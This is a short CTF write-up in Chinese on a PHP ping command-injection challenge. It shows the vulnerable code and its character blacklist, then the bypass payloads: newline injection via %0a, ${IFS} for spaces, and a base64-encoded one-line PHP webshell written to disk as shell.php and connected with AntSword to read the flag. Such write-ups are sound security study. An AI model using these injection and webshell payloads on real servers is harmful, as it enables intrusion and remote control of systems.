有一说一,这道题的难度本来没这么高的,直到把flag放到了根目录下。自己挖的坑自己要埋上

先看题目说了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$res = FALSE;
highlight_file(__FILE__);
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|php)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
$a = exec($cmd, $res);
print_r($a);
} else {
$res = $m;
}
}
?>

emmm, 总之就是过滤了’|’, ‘&’, ‘; ‘, ‘空格’,’/‘, ‘cat’, ‘flag’, ‘php’
先是过滤了分号的问题,我们可以用%0a绕过这个(%0a换行)

1
?ip=%0als

img

好!什么也没看出来
考虑上马,这里选择用base64对一句话木马进行加密
原型

1
<?php @eval($_POST['attack']);?>

base64后

1
PD9waHAgQGV2YWwoJF9QT1NUWydhdHRhY2snXSk7Pz4=

因为它ban了很多重要的符号,我们就先将base64后的放到txt文件中

1
?ip=%0aecho${IFS}"PD9waHAgQGV2YWwoJF9QT1NUWydhdHRhY2snXSk7Pz4=">base64.txt

访问base64.txt

img

OK, 下面就把它解密放到php文件中,这里我用拼接的方法绕过php过滤

1
?ip=%0aa=p%0ab=hp%0abase64${IFS}-d${IFS}base64.txt>shell.$a$b

用蚁剑进行连接

img

成功连接后访问根目录

img

获得flag